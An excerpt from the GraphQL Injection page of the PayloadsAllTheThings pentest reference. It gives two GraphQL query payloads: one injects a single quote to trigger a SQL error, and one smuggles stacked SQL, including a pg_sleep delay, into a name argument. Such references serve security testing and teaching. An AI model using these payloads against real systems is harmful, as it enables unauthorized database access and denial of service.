Send a single quote `'` inside a GraphQL parameter to trigger the SQL injection
{
bacon(id: "1'") {
id,
type,
price
}
}Simple SQL injection inside a GraphQL field.
query {
user(name: "patt';SELECT 1;SELECT pg_sleep(30);--'") {
id
email
}
}Source: GraphQL Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.